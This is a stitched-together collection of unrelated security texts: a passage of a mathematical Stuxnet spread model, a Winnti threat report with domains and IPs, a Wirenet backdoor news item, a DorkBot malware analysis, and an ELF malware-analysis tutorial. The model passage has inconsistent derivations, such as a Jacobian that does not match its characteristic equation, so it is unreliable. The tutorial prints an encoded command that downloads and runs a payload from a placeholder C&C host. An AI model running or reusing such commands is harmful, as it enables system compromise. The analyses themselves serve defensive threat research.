### 4.2. Disease-Free Equilibrium
Theorem 1. Disease-free equilibrium (DFE) point of a system is locally and asymptotically stable at \( K_0 \) if \( R_0 < 1 \).
Proof. The DFE point of a system is locally asymptotically stable at \( K_0 = (I, M, UI) = (0, 0, 0) \). The Jacobian matrix of function \( f : \mathbb{R}^3 \to \mathbb{R}^3 \) with components:
\[
D^α I = β_1(N^* - I - M)I/2^{32} + β_2(N^* - I - M)UIN^* - ρI - r_1I,
\]
\[
D^α M = ρI - r_1M,
\]
\[
D^α UI = β_2(U^* - UI)IN^* - r_2UI.
\]
Thus, the Jacobian matrix at \( K_0 \), DFE point of integer-order model is given as:
\[
DFE(K_0) = \begin{pmatrix}
β_1N^* / 2^{32} & 0 & β_2 \\
0 & -ρ & 0 \\
0 & 0 & -r_2
\end{pmatrix}.
\]
The characteristic equation of the system is:
\[
|λI - DFE(K_0)| = 0,
\]
and simplifies as:
\[
(λ + r_1)(λ - N^*β_1/2^{32} + ρ + r_1)(λ + r_2) = 0.
\]
The corresponding eigenvalues of the above relation are:
\[
λ_1 = -r_1,
\]
\[
(λ - N^*β_1/2^{32} + ρ + r_1)(λ + r_2) = 0.
\]
Simplifying the above expression to find the remaining eigenvalues leads to:
\[
λ^2 + λ(r_1 + r_2 + ρ - N^*β_1/2^{32}) + r_2(ρ + r_1) - N^*β_1/2^{32}(ρ + r_1) = 0,
\]
and for \( R_0 < 1 \), the system can be written as:
\[
λ^2 + λ(r_1 + r_2 + ρ - N^*β_1/2^{32}) + r_2(ρ + r_1) - N^*β_1/2^{32}(ρ + r_1) = 0.
\]
Using the expression in Section 4.3, the coefficients are made positive for \( R_0 < 1 \), which shows that the system is asymptotically stable for point \( K_0 \) when \( R_0 < 1 \). If the system is stable for the value of \( α = 1 \), it will be stable for the value of \( α < 1 \). This completes the proof.
Theorem 2. If \( R_0 < 1 \), then point \( K_0 \) is globally asymptotically stable, and otherwise unstable.
Proof. Considering the Lyapunov function mentioned below,
\[
L(I, M, UI) = I + \frac{β_1}{3}M^2 + \frac{β_2}{r_2}UI.
\]
The function in \( \mathbb{R}^3 \) is positive, for \( \mathbb{R}^3 = (I, M, UI) \) and \( (I > 0, M > 0, UI > 0) \). For \( α = 1 \), the derivative of the Lyapunov function is:
\[
D^α L(I, M, UI) = D^α I + 2\frac{β_1}{3}MD^α M + \frac{β_2}{r_2}D^α UI.
\]
Substituting the expressions leads to:
\[
D^α L(I, M, UI) = β_1(N^* - I - M)I/2^{32} + β_2(N^* - I - M)UIN^* - ρI - r_1I + \frac{β_1}{3}MI/2^{32} + r_1\frac{β_1}{3}M^2 + β_2U^*N^*r_2 - β_2U^*I/N^*r_2 - β_2U^*I/N^*r_2.
\]
This leads to:
\[
D^α L(I, M, UI) = (ρ + r_1)(R_0 - 1)I - β_1I^2/2^{32} - β_2(M + I)UIN^* - r_1β_1M^2/2^{32} - β_2UIIN^*r_2.
\]
For \( R_0 < 1 \), this implies that \( D^α L \leq 0 \) and \( K_0 \) is the only invariant set of the system. According to the LaSalle Invariance Principle, \( K_0 \) is proven to be globally asymptotically stable. Hence, equilibrium point \( K_0 \) is globally asymptotically stable for \( R_0 < 1 \). Additionally, if the system is stable for the value of \( α = 1 \), then the system will be stable for \( α < 1 \).
### 4.3. Endemic Stability
The endemic stability of equilibrium point \( K^* = (I^*, M^*, U^*_I) \) is investigated in this section for the values of \( R_0 > 1 \) and \( I^* \geq 0 \).
Theorem 3. Endemic equilibrium point \( K^* \) is locally asymptotically stable if \( R_0 > 1 \).
Proof. Consider the function \( f : \mathbb{R}^3 \to \mathbb{R}^3 \) with components and the Jacobian matrix of the system as:
\[
D^α I = f_1(I^*, M^*, U^*_I) = β_1(N^* - I^* - M^*)I^*/2^{32} + β_2(N^* - I^* - M^*)U^*IN^* - ρI^* - r_1I^*,
\]
\[
D^α M = f_2(I^*, M^*, U^*_I) = ρI^* - r_1M^*,
\]
\[
D^α UI = f_3(I^*, M^*, U^*_I) = β_2(U^* - UI^*)I^*/2^{32} - r_2U^*_I.
\]
The endemic equilibrium of the system is \( K^* = (I^*, M^*, U^*_I) \), for the value of \( α = 1 \), the Jacobian matrix at the endemic point is mentioned below.
\[
J(K^*) = \begin{pmatrix}
Λ & -β_1I^*/2^{32} - β_2UI^*N^* & β_2(N^* - I^* - M^*)N^* \\
ρ & -r_1 & 0 \\
β_2(U^* - UI^*)N^* & 0 & β_2I^*N^* - r_2
\end{pmatrix},
\]
where \( Λ = β_1(N^* - 2I^* - M^*)/2^{32} - β_2UI^*N^* - ρ - r_1 \).
The characteristic equation of the system is:
\[
|λI - J(K^*)| = 0,
\]
and simplifies as:
\[
λ^3 + (b_{11} + b_{22} + b_{33})λ^2 + (b_{11}b_{22} + b_{11}b_{33} + b_{22}b_{33} - b_{12}b_{21} - b_{13}b_{31})λ + b_{11}b_{22}b_{33} - b_{12}b_{21}b_{33} - b_{13}b_{31}b_{22} = 0,
\]
where:
\[
b_{11} = -β_1N^*/2^{32} + β_1(2I^* + M^*)/2^{32} + β_2U^*N^* + ρ + r_1,
\]
\[
b_{12} = β_1I^*/2^{32} + β_2U^*N^*,
\]
\[
b_{21} = -ρ, b_{23} = 0, b_{22} = r_1, b_{13} = -β_2(N^* - I^* - M^*)N^*,
\]
\[
b_{31} = -β_2(U^* - UI^*)N^*, b_{33} = β_2I^*N^* + r_2, b_{32} = 0.
\]
For stability analysis, Hurwitz criteria may be used for the system. Equating the coefficients with the general characteristics equation, we have:
\[
b_0 = 1,
\]
\[
b_1 = b_{11} + b_{22} + b_{33},
\]
\[
b_2 = b_{11}b_{22} + b_{11}b_{33} + b_{22}b_{33} - b_{12}b_{21} - b_{13}b_{31},
\]
\[
b_3 = b_{11}b_{22}b_{33} - b_{12}b_{21}b_{33} - b_{13}b_{31}b_{22}.
\]
Determinants of the equation are stated in Hurwitz as:
\[
D_1 = b_1 = b_{11} + b_{22} + b_{33},
\]
\[
D_2 = b_1b_2 - b_3b_0,
\]
\[
D_3 = b_3(b_1b_2 - b_0b_3).
\]
Using the value of \( R_0 > 1 \) for \( D_1 \):
\[
D_1 = -β_1N^*/2^{32} + β_1(2I^* + M^*)/2^{32} + β_2U^*N^* + ρ + r_1 + r_1 + β_2I^*N^* + r_2 > 0.
\]
Thus, all the values of \( D_1, D_2, \) and \( D_3 \) are positive, so all the eigenvalues of the equation are negative for \( R_0 > 1 \). This proves that the endemic equilibrium point \( K^* \) is locally asymptotically stable. The proof of the theorem is completed.
## 5. Simulation and Results
In this section, the results of numerical simulations for FO-SVM are presented to understand the dynamics of virus spread in a critical network infrastructure in the presence of removable storage connectivity, which may compromise the air-gap between the networks. Numerical experimentation is conducted for the designed FO-SVM for different variations in parameters and initial start-up scenarios. The dynamic behavior of the fractional order (FO) model is studied by varying the non-integer order derivative \( α \). Most FO differential systems lack exact analytical solutions, so the numerical solver based on Grunwald–Letnikov procedure is exploited for an approximate solution to the model. The security firms, including Symantec, tracked 100,000 infected computers as of 29 September 2010, in the world. Additionally, available real data are used to validate the accuracy and convergence of the model for the Stuxnet virus spread. The virus infects approximately 100,000 users from 155 different countries, and 63% were only in Iran. Due to this attack, the number of hosts that lost functionality (hardware connected to these hosts was damaged due to sudden increase in frequency of up to 1410 Hz, which then decreased to 2 Hz and increased to 1064 Hz in spite of the normal working range from 807 Hz to 1210 Hz) due to virus attack. A virus operates the machines connected with the hosts at an extreme range of frequencies dictated by Stuxnet and caused physical damage to 1500 centrifuge machines (approximately 1200 in Iran only). Approximately 3280 unique samples and variants of the Stuxnet virus were recorded by Symantec and other security corporations.
**Table 1. Values of parameters used in model simulation for different scenarios.**
| Parameter | Case 1 | Case 2 | Case 3 | Case 4 | Case 5 | Case 6 | Case 7 | Case 8 | Case 9 |
|-----------|--------|--------|--------|--------|--------|--------|--------|--------|--------|
| A1 | 0.042 | 0.042 | 40 | 100 | 5600 | 5600 | 5600 | 412 | 5600 |
| A2 | 0.042 | 0.042 | 45.7 | 60 | 412 | 412 | 412 | 5600 | 412 |
| β1 | 0.6 | 0.4 | 0.385 | 0.4 | 0.4 | 0.4 | 0.745 | 0.4 | 0.4 |
| β2 | 0.6 | 0.8 | 0.795 | 0.635 | 0.745 | 0.745 | 0.4 | 0.745 | 0.004 |
| ρ | 0.00265| 0.0051 | 0.001 | 0.009 | 0.021 | 0.8 | 0.021 | 0.021 | 0.021 |
| r1 | 0.1126 | 0.19 | 0.0804 | 0.1598 | 0.1276 | 0.0804 | 0.1276 | 0.1276 | 0.1276 |
| r2 | 0.0088 | 0.027 | 0.027 | 0.027 | 0.0131 | 0.0131 | 0.0131 | 0.0131 | 0.0131 |
**Table 2. Starting values of variables used in the simulation of different scenarios.**
| Variables | Case 1 | Case 2 | Case 3 | Case 4–9 |
|-----------|----------------|----------------|----------------|----------------|
| S | 2.3×10^6 | 2.3×10^6 | 2.3×10^6 | 2.3×10^6 |
| I | 10,000 | 30,000 | 30,000 | 30,000 |
| M | 10 | 10 | 10 | 10 |
| Us | 50,000 | 50,000 | 30,000 | 30,000 |
| UI | 10,000 | 10,000 | 10,000 | 5000 |
In order to establish the working accuracy of GL-based numerical solvers, the results of the scheme are compared with state-of-the-art numerical solvers based on the Runge–Kutta (RK) method for the value of \( α = 1 \). The results are determined for nine cases of integer order models by a GL-based computing technique for inputs \( t \in [0, 60] \) with step size \( h = 0.001 \) (time \( t \) represents months). Numerical solutions to the model for the same inputs are also calculated by the RK method for each variation.
In Figure 3, the number of hosts versus time in months is plotted, which shows the effect of the Stuxnet attack on the number of hosts as time passes. The number of infected hosts is 96,760 (real infected host number was 100,000), and the number of damaged hosts is 1500 (real damaged host number was 1500) in 23 months' time, which shows the model accuracy for real-world virus data. In this case, removable media are considered to be 60,000, and after increasing the number of removable-storage media, infection in the host nodes also increases (96,760 after 23 months).
The number of infected removable-storage devices is 43,740 in 23 months, and in 24 months, the number of infected devices increases to 44,920. An increase in the number of damaged hosts is observed after the increase in infected hosts in 24 months’ time. This highlights the role of removable-storage media in spreading the infection in isolated critical networks in the absence of any remedial strategy in the model. Stuxnet is an advanced persistent threat (APT) type of malicious code that penetrates in the remote system in a quasi-autonomous fashion. Then, a 23-month decline in the number of infected hosts is observed due to the availability of remedial techniques and other controlling mechanisms. However, the Stuxnet virus was carried by removable-storage media spreads in other networks.
In Figure 4, the solutions to the RK method with GL solver are compared with an error analysis of susceptible hosts \( S \): a and b for cases 2 to 4, c and d for cases 5 to 7, and e and f for cases 8 to 10. Comparisons of results from both the RK numerical solver and GL-based method (for fractional-order \( α = 1 \)) are presented for susceptible hosts \( S \) in nine cases. The error analysis, based on the absolute difference between the two approaches, is also plotted to assess closeness. The results show a matching of both solutions of up to three decimal places of accuracy. The small errors in these plots show that the results of the GL method are in good agreement with the standard RK numerical technique, which establishes the working accuracy of the GL-based solver.
In Figures 5 and 6, the solution of the RK method with a GL solver is compared and presented for infected nodes \( I \), damaged node \( M \), susceptible removable-storage media \( Us \), and infected removable-storage media \( UI \), respectively, for nine model cases.
The effect of changing the infectious contact rate \( β_1 \) from 36.6% to 60% is highlighted in case 1 of the equation. It is observed that the number of infected hosts in 24 months is 96,760, which shows a slight increase in infected hosts due to \( β_1 \). In case 2, the number of initially infected hosts is assumed to be 30,000. Increasing the contact rate of infectious removable media reduces the number of susceptible hosts rapidly as compared to case 1. However, the number of infected hosts is reduced due to an increase in the natural removal rate of hosts and removable storage \( r_1 \) and \( r_2 \) (hosts are removed to save them from the Stuxnet attack). In case 3, we reduce the damage rate and the quantity of initial susceptible removable-storage media, which reduces the infected removable-storage media number and increases the infected hosts. A decrease in damaged hosts is observed in case 3, despite the increase in the number of infected hosts.
In case 4, FO-SVM model dynamics are observed by increasing the arrival rate of new nodes and the arrival rate of new removable-storage devices. The results show that increasing the arrival rate of new hosts and arrival rate of new removable-storage media will not spread the infection faster without the presence of a sufficient number of infected removable-storage devices. In cases 5 and 6, we further increase the values of the arrival rate of new nodes as well as removable-storage devices for an in-depth behavior analysis of the model. Both cases have similar parameters, except case 6, which represents a higher damage rate (especially for zero-day vulnerability or for a new virus attack) that increases the number of damaged computers and reduces the number of infected computers in the networks as compared to case 5. Case 5 shows a high number of infected nodes because the Stuxnet virus only destroys the machines with specific hardware (Siemens specific PLCs) and remains dormant till it finds the target. In case 6, the number of infected hosts decreases; however, an increase in the number of damaged hosts is observed due to an increase in damage rate \( ρ \). |
# Winnti Evolution - Going Open Source
ProtectWise recently observed a burst of activity and change of tactics from an advanced actor group commonly referred to as “Winnti.” The purpose of this post is to share details of the group’s recent activity in an effort to assist the public in searching for related activity in their networks and preventing future attacks.
## About Winnti
The Winnti group has been active since roughly 2010. Significant previous research has been published on the group from a variety of sources, such as Kaspersky, Blue Coat, and TrendMicro. As far back as 2011, the group was detected attacking multiple video game studios, including some in South Korea and Japan, likely attempting to steal various in-game currencies and to compromise developers’ certificates and source code.
### Objectives:
- Theft of digital certificates
- Use of stolen certificates to sign malware
- Theft of gaming source code and infrastructure details
### TTPs:
- Known Toolset: PIVY, Chopper, PlugX, ZxShell, Winnti
- Phishing HR/recruiting emails for initial infection vector
- CHM email file attachments containing malware
- Use of GitHub for C2 communication
### Targets:
- Online video game organizations
- Defense Sector
- Internet Service Providers
### Attribution:
- Originating Location: China (high confidence)
- Potential Aliases: Wicked Panda, APT17
## Evolution of Winnti - Open Source Tools and macOS Targeting
Within the Winnti campaigns observed by ProtectWise, the use of open source tooling was common. Specifically, the group has been utilizing the Browser Exploitation Framework (BeEF) and Metasploit Meterpreter. The use of open source tools by advanced actor groups has become increasingly common, as discussed by our colleagues in the industry. To the best of our knowledge, this is a new technique for the Winnti group and we expect it to be used in future attacks.
Also noteworthy are attempts to deliver JAR files containing macOS applications which have meterpreter functionality. In addition, victims running Windows were delivered MSI files which were built using a free EXE to MSI converter.
### Delivery:
The Winnti campaign detailed in this post began with spear phishing emails aimed at a Japanese gaming studio’s staff. At least one of these emails claimed it was from an applicant for a job posting who was listing their relevant experience, along with a link to their resume.
The approximate translation of the Winnti phishing email is as follows:
“I saw your job posting. My main languages are Object-C, JAVA, and Swift, and I have 7 years experience with Ruby and 6 years experience with PHP. I have 5 years experience developing iOS apps, as well as Android apps, AWS, Jenkins, Microsoft Azure, ZendFramework, and smartphone application payment processing. I also have 5 years experience with MSSQL, Mysql, Oracle, and PostgreSQL. Please see here: <URL>”
We observed Winnti using two different techniques when the link was clicked. In the first technique, the user was directed to an HTML page which loaded a fake English resume. In the second technique, which we only observed a few times, the landing page directly downloaded a JAR file to the victim’s machine.
### Landing:
In cases where the above resume is loaded, it is delivered as follows:
`{Phishing Email Link}/?session={date}{ID}`
This page is an HTML file containing a simple iframe instruction to load real.html.
`real.html` is the HTML file containing the fake resume which will load in a browser for the link-click victim. It contains a script which loads the BeEF hook script from a separate external host. The group’s infrastructure changes rapidly, occasionally allowing us to observe them modifying the hook page destination domain over the span of a few minutes.
Sometimes the same destination would be referred to by IP in one version of real.html and by hostname in another. Two additional files, resume_screen.css and mypic.jpg, are also loaded to make the resume look more realistic with improved formatting.
At this point, in cases where BeEF has been used, exploits are typically attempted on victim hosts with the help of BeEF modules. A commonly used module was Jenkins_groovy_code_exec.
### Evasion Techniques:
One of the Winnti group’s distinctive techniques is their particular style of DNS resolution for their C2 domains. Choosing domain names which are similar to valid domains (for example, google-statics[.]com, a misspelling of Google statistics, instead of analytics.google.com), the group configures their DNS so that the root domain resolves to either nothing, or localhost. Then a subdomain resolves to an actual C2 server. For example, google-statics[.]com, one of the C2 domains observed in this campaign has no resolutions at the time of writing. css.google-statics[.]com, however, resolves to a real C2 IP.
As observed in previous Winnti attacks, the group uses commonly accepted and poorly monitored protocols and ports for their C2 communication (ports 53, 80, 443). With the addition of BeEF, the group has made use of TCP port 8000 as well. Amusingly, the group's use of BeEF has been fairly rudimentary, not even taking advantage of the basic obfuscation features included in the program. We observed the group using GAGAHOOK instead of the default BEEFHOOK session name and BEEFSESSION session cookie name.
As in previous Winnti campaigns, the group continues to use legitimate code signing certificates, stolen from online gaming organizations, to sign their malware. This technique can help to hide the malicious intent of the group’s code, allowing it to run in environments where execution is restricted to signed/trusted programs. While unconfirmed as of this writing, we believe the Winnti group is continuing to steal and use certificates from new organizations.
### Associated Indicators:
Note: We are redacting the malware hashes while we work with the organization whose digital signature was used on the malware as a potential victim of the Winnti group.
| Indicator | Type | Description |
|---------------------------------------------|--------|-----------------------------------------------|
| job.yoyakuweb[.]technology | Domain | Phishing email link destination. |
| resume.immigrantlol[.]com | Domain | Phishing email link destination. |
| macos.exoticlol[.]com | Domain | Likely phishing email link destination. |
| css.google-statics[.]com | Domain | BeEF Landing and C2. |
| minami[.]cc | Domain | Potential BeEF - Low confidence (Linode) |
| vps2java.securitytactics[.]com | Domain | Malware C2 |
| 106.184.5.252 | IP | Phishing email link destination. |
| 61.78.62.21 | IP | Used in BeEF C2, reused Winnit Infra. |
| 139.162.106.19 | IP | Linode - Used in BeEF C2. |
| 172.104.101.131 | IP | Linode - Malware C2. |
| 139.162.17.161 | IP | Linode - Used in BeEF C2. |
| 133.242.145.137 | IP | Linode - Used in BeEF C2. |
| 106.185.31.128 | IP | Linode - hosting BeEF landings. |
TOM HEGEL, SENIOR THREAT RESEARCHER & NATE MARX, ASSOCIATE THREAT RESEARCHER |
# The First Trojan in History to Steal Linux and Mac OS X Passwords
Russian anti-virus company Doctor Web is reporting the emergence of the first cross-platform backdoor to run under Linux and Mac OS X. This malicious program is designed to steal passwords stored by a number of popular Internet applications.
**Mac.BackDoor.Wirenet.1** is the first such Trojan capable of running under any of these operating systems. It's not clear yet how the Trojan, which was added to the Dr.Web virus database as Mac.BackDoor.Wirenet.1, spreads. This malicious program is a backdoor that can work under Linux as well as under Mac OS X.
When launched, it creates its copy in the user's home directory. The program uses the Advanced Encryption Standard (AES) to communicate with its control server whose address is 212.7.208.65.
Mac.BackDoor.Wirenet.1 also operates as a keylogger (it sends gathered keyboard input data to intruders); in addition, it steals passwords entered by the user in Opera, Firefox, Chrome, and Chromium, and passwords stored by such applications as Thunderbird, SeaMonkey, and Pidgin. Anti-virus software from Doctor Web successfully detects and removes the backdoor, so the threat does not pose a serious danger to systems protected by Dr.Web for Mac OS X and Dr.Web for Linux. |
# DorkBot: An Investigation
**Research By:** Mark Lechtik
**Date:** February 4, 2018
## Overview
DorkBot is a known malware that dates back to 2012. It is thought to be distributed via links on social media, instant messaging applications, or infected removable media. Although it is a veteran among the notorious malware families, we believe that more networks have been infected with DorkBot than previously expected, with the most affected countries being Sri Lanka, India, and Russia.
The malware essentially serves as a general-purpose downloader and launcher of other binary components, mostly modules for conducting DDoS attacks or stealing passwords. The analysis in this case was based on the sample that was observed in multiple infections in the wild in the past month.
The DorkBot malware comes packed within a simple dropper, in which the payload is embedded as an RC4 encrypted blob. This blob can be found at the resource section of the binary, encoded with Base64.
The RC4 ciphertext is prepended with 32 bytes of metadata containing the RC4 key for decryption in bytes 8-12.
The dropper decodes the Base64 payload and decrypts the result, which consists of a PE loading shellcode and the raw binary of the malware. Right after decryption, control is passed to the shellcode which locates the raw binary, loads it, and then passes execution to its entry point.
The malware’s dropper can be identified by a peculiar loop which invokes a message box to an undefined handle with the value 0xFFFFA481 and the text “Will exec“.
## Payload
The payload consists of the following actions taking place consecutively:
- **Argument check:** If a filename is passed as an argument, it will be looked up in the current directory and executed with ShellExecuteW. However, if the argument ends with “\” it will be assumed to be a directory name. In the latter case, it will be opened in a new window by spawning “explorer.exe” using ShellExecuteW, with the directory path appended to the current directory as an argument. This feature exists for the purpose of running other processes under the malware, and is leveraged to replace all shortcuts to run the malware first and then use it to spawn the actual shortcut path, thereby achieving persistence in the system.
- **Self-copy:** The malware creates a copy of itself in %appdata%.
- **AntiVM Check:** Uses SetupDiGetDeviceRegistryPropertyA to obtain a string with the device name of the hard drive, and checks whether it contains one of the following as substrings: “vbox“, “qemu“, “vmware“, “virtual hd“. In case it does, the malware infers it runs in a VM and terminates.
- **Start-up process termination:** Enumerates all the following registry keys in order to shut down all non-malware related start-up processes.
- **Computer ID calculation:** Each infected machine gets an ID of the format “<computer_name>#<calculated_md5>“, where the 2nd parameter is the MD5 hash of a system info buffer.
- **GUID calculation:** Most of the objects in the malware (events, mutexes, file-names, etc.) are given a name based on a generated GUID.
- **APC injection:** Creates a suspended exe process, writes the contents of the malware’s mapped image to it, queues the main worker thread control function as an APC, and resumes its main thread. Consequently, the aforementioned function starts to run in the context of the initiated svchost.exe process.
- **Worker thread control function:** This routine contains the major bulk of the malware’s functionality, and invokes its various features as threads. It is expected that this function will run under svchost.exe as a result of the injection described earlier, and in case this fails will run in the context of the current process. However, the latter will not happen in reality due to a bug in the code, where the handle of the initiated svchost.exe main thread is closed right after the process handle is closed. This causes the process to crash, avoiding any further malicious activity to occur.
The flow of the actions taken by the function itself is:
- PE loading actions, namely applying relocations and resolving imports for the malware’s mapped executable.
- Creation of a hidden scheduled task (with the use of the ITask COM class) which is set to start upon the current user’s logon.
- Creation of a registry runkey under HKCM\Software\Microsoft\Windows\CurrentVersion\Run. The key’s name is a GUID generated beforehand and the path is set to the file copied to %appdata%.
- Deletion of the original malware file in a separate thread (only if the malware runs from a non-removable drive, and successfully injected to svchost.exe). If the malware is executed from removable media, it will register a designated class for it under HCKU\Software\Classes\CLSID, with the class name being a calculated GUID with the key 0xDEADBEEF.
- **File modification watchdog:** A thread that constantly calculates the CRC32 of the copied malware binary in %appdata% and compares it with the original file’s CRC32. In case this changes, the copied file is deleted and rewritten with the contents of the original one.
- **Shortcut replacement thread:** Iterates through all mounted drives and enumerates all files in order to find those with “.lnk” extension. In case such a file is found, its target path is modified to execute cmd.exe with an argument consisting of the path generated by the malware, containing the malware’s copy, and the enumerated file’s path.
- **Injection of process watchdog code:** The malware will enumerate all running processes and will exclude 64-bit processes, the current process, and ones which run an image with the names “teamviewer.exe” or “tv_w32.exe”. All other processes (as well as a malware created notepad.exe process) will get injected with a piece of code that waits indefinitely on an event, which will be signaled when the original malware process is terminated. In case this happens, the malware is spawned again.
## Communication
All C2 domains are resident within the binary as AES256-CBC encrypted blobs, ordered in a pointer table that can be found in offset 16 of the .data section. The key for decryption is “GD!brWJJBeTgTGSgEFB/quRcfCkBHWgl“.
The following types of communication can be observed in the malware:
1. **HTTP GET request** to obtain a file from one of the sample’s CnCs. The CnC is contacted through a subdomain of the format “v%d“, where the numeric value is obtained from a global variable set during run-time. If a file is returned from the server, it is being written with a random 10 character name under %appdata% and initiated with CreateProcessW. Note: other variants of the malware may use different subdomains, e.g. “up%d“.
2. **A raw protocol over TCP**, used to obtain new CnC addresses from which files can be downloaded. The protocol request message is a buffer that consists of 170 bytes, and has a specific structure. The response consists of 517 bytes and has its own structure.
## IOCs
- 153a3104fe52062844fed64c7a033d8378f7977f – Dropper
- 0cf0f00b7c78d68365b4c890c76941051e244e6f – Unpacked payload
We have 9 active Anti-Bot signatures for the DorkBot family:
- Win32.Dorkbot.E
- Win32.Dorkbot.G
- Win32.Dorkbot.H
- Win32.Dorkbot.I
- Win32.Dorkbot.J
- Win32.Dorkbot.K
- Win32.Dorkbot.L
- WIN32.DorkBot.A
- WIN32.DorkBot.B |
# ELF Malware Analysis 101 Part 2: Initial Analysis
In the previous article, we profiled the ELF malware landscape and explained how malware infects systems. We discussed the current lack of ELF malware visibility, reflected in subpar detection rates by leading engines and the shortage of publicly available resources documenting Linux threats. In this article, we will pursue ELF file analysis with an emphasis on static analysis.
The purpose of initial analysis is to gather as many insights about a file as possible without spending too much time on advanced analysis techniques such as behavioral analysis. The initial analysis process entails reviewing different artifacts of a file. While an artifact by itself might not be enough to make a decision, the collection of artifacts can help us determine a practical outcome for this step. A final result could be that we know what the file is or we must conduct a deeper analysis because this step wasn’t conclusive enough.
## Agenda
The lack of valuable metadata in ELF files, such as certificates and resources, provides a weaker starting point than PE files, particularly when distinguishing between trusted and malicious files. This is why it’s important to consider the context of the analyzed file and the desired outcome from the analysis. Whether you want to verify that a file is trusted or malicious, or you already know that a file is malicious but you want to classify the threat to determine the appropriate response, the information and tools presented in this article will help you further support an initial analysis conclusion.
We will review the following artifacts and emphasize how they can help us gather insights about a file:
1. ELF format static components
- Symbols
- Segments and Sections
- ELF Header
2. File’s Output
3. Strings
4. Code Reuse
5. Packers
6. Interpreters
After covering our initial analysis toolset, we will put them to use by analyzing real samples found in the wild.
## Toolset
These are the tools and commands we will use (in alphabetical order):
1. Detect It Easy
2. ElfParser
3. Intezer Analyze
4. Linux VM
5. objcopy
6. Pyinstaller
7. readelf
8. shc
9. strings
10. UnSHc
11. UPX
12. VMprotect
## Getting Started
We will use a Linux virtual machine (VM) as our demo environment. If you don’t have a Linux VM, follow a guide to install one. We will also be compiling different samples. If you are not interested in this step, we have stored the compiled samples in a dedicated repository for your convenience. We will refer to the samples throughout the article.
Let’s prepare our environment:
1. Run your VM.
2. If you have just installed the VM, make sure to take a snapshot of the machine so you can always restore it to its clean snapshot.
3. Allow the shared clipboard to transfer from the Host to Guest.
4. Compile the following code:
- Run `nano training_sample.c`, copy the code, and save (ctrl+x).
- Run `gcc training_sample.c -o training-sample`.
## ELF Format Static Components
In this section, we will review the components of the ELF format that are relevant for initial analysis, using our compiled file.
When analyzing static features of an ELF file, the `readelf` command is the most useful tool. `readelf` should already be installed on your Linux VM. Run `readelf -h` to review all of its potential flags. We will use this command throughout the article.
### Symbols
**Definition and how they can help us:**
Symbols describe data types such as functions and variables which are stored in the source code and can be exported for debugging and linking purposes. Symbols can help us uncover which functions and variables were used by the developer in the code, giving us a better understanding of the binary’s functionalities. We might also find unique function or variable names that can be searched for online to determine if this is a known file—in other words, if someone has already analyzed a similar binary, or if this is an open source tool.
**In practice:**
Let’s use the `readelf` command to read the file’s symbols. First, run: `readelf -s training-sample`. You will notice the output contains two tables: `.dynsym` and `.symtab`. The `.dynsym` table (dynamic symbols table) exists in dynamically linked and shared object files. Dynamically linked binaries use external sources such as libc libraries that are stored on the operating system during runtime. Statically linked binaries, on the other hand, are compiled together with these libraries. This means statically linked files will typically be larger than dynamically linked files. Statically linked files will likely contain large amounts of code that are related to libraries and not to the actual file’s logic.
The `.dynsym` table contains the dynamically linked symbols, such as libc functions, and the `.symtab` table contains all symbols (including those in the `.dynsym` table) that were defined in the source code.
The symbol table can be lengthy. For simplicity, let’s view each symbol type separately.
1. OBJECT: global variables declared in the code.
2. FUNC: functions declared in the code.
3. FILE: the source files that are compiled in the binary (This is a debug symbol. If the file was stripped from debug symbols, the symbols table won’t contain this type).
```bash
readelf -s training-sample | grep OBJECT
```
Above we can see the global variables that were declared in the file’s source code.
```bash
readelf -s training-sample | grep FUNC
```
We can also observe the functions declared in the file’s source code, together with the used libc functions. The libc functions are present in both `.dynsym` and `.symtab` tables, which is why we see them both listed twice.
```bash
readelf -s training-sample | grep FILE
```
The source files compiled in the binary are our source code (`training_sample.c`) and the `ctrstuff.c` file. The `ctrstuff.c` source code is compiled as default inside the binary. It contains functions that are used to run before and after the file’s main logic (e.g., `register_tm_clones`, `frame_dummy`).
**Bottom Line:**
By interpreting the file’s symbols, you can extract the marked functions and variables from the compiled training sample’s source code.
### Segments and Sections
**Definition and how they can help us:**
Segments, also known as program headers, describe the binary’s memory layout and they are necessary for execution. In some cases, anomalies in the segments table structure can help us determine if the binary is packed, or if the file was self-modified (a file infector for instance).
Segments can be divided into sections for linking and debugging purposes. The sections are complementary to the program headers and they are not necessary for the file’s execution. Symbols are usually retrieved via section information. Unique section names can help us identify different compilation methods.
**In practice:**
Let’s review the training sample segments. Run `readelf -l training-sample`:
There are 9 program headers (segments) in the training sample. Each segment type describes a different component of the binary. We will focus on the PT_LOAD segment. The PT_LOAD segment describes the code which is loaded into memory. Therefore, an executable file should always have at least one PT_LOAD segment.
In the segments’ output, we are also given a list of sections to segments mapping, in corresponding order to the segments table. Notice the `.text` section, which contains the executable code instructions, is mapped to the PT_LOAD R E segment.
**Bottom Line:**
Anomalies in a file’s segment table can be:
1. Segment types and count: The file contains only PT_LOAD segments (and PT_GNU_STACK).
2. Flags: The file contains a segment that has all 3 flags (RWE).
**Note:** Malware developers often strip or tamper with a file’s symbols and/or sections to make it more difficult for researchers to analyze the file. This makes it nearly impossible to debug the binary.
### ELF Header
The ELF header contains general data about the binary such as the binary’s entry point and the location of the program headers table. This information is not valuable during the initial file analysis but the file’s architecture can help us understand which machine the file is designed to run on, in case we want to run the file.
Let’s run `readelf -h training-sample` in order to view the sample’s header info.
### File’s Output
Simply running the file on your VM can always be useful. If the file presents an output, it might immediately help us to determine what it is.
**Tip:** Before running the file, make sure you have saved a clean snapshot of your VM.
### Strings
Strings extraction is a classic and powerful method for gathering information about a binary. Let’s run the `strings` command on our file and extract the strings into a txt file for convenience:
```bash
strings training-sample > str.txt
```
When we review the strings, we will see declared chars from the code together with the symbols and other strings that are related to the file’s format, such as section names and the requested interpreter.
Like in PE analysis, we can search for indicative strings such as network-related strings, encoded strings (such as base64 or hex), paths, commands, and other unique keywords that might help us understand more about the file.
In the training file, the echo command string that contains the base64 command string immediately stands out:
```
echo d2dldCBodHRwOi8vc29tZW5vbmV4aXRpbmdjbmNbLl1jb20vbWFsd2FyZS5hcHA=|base64 -d |bash;
```
If we decode the base64 string, we will receive the following command:
```
wget http://somenonexitingcnc[.]com/malware.app
```
We can assume the file drops a payload from a remote C&C.
### String Reuse
Intezer Analyze is a useful tool for string extraction. It reduces analysis efforts by divulging whether certain strings have been seen before in other files. In the case of an unknown malware, filtering the common strings can help us focus our efforts on the file’s unique strings.
### Code Reuse
Examining code reuse in Intezer Analyze can be a great starting point for initial analysis. It can expedite analysis time by disclosing where certain code has been used before in other files.
### Packers
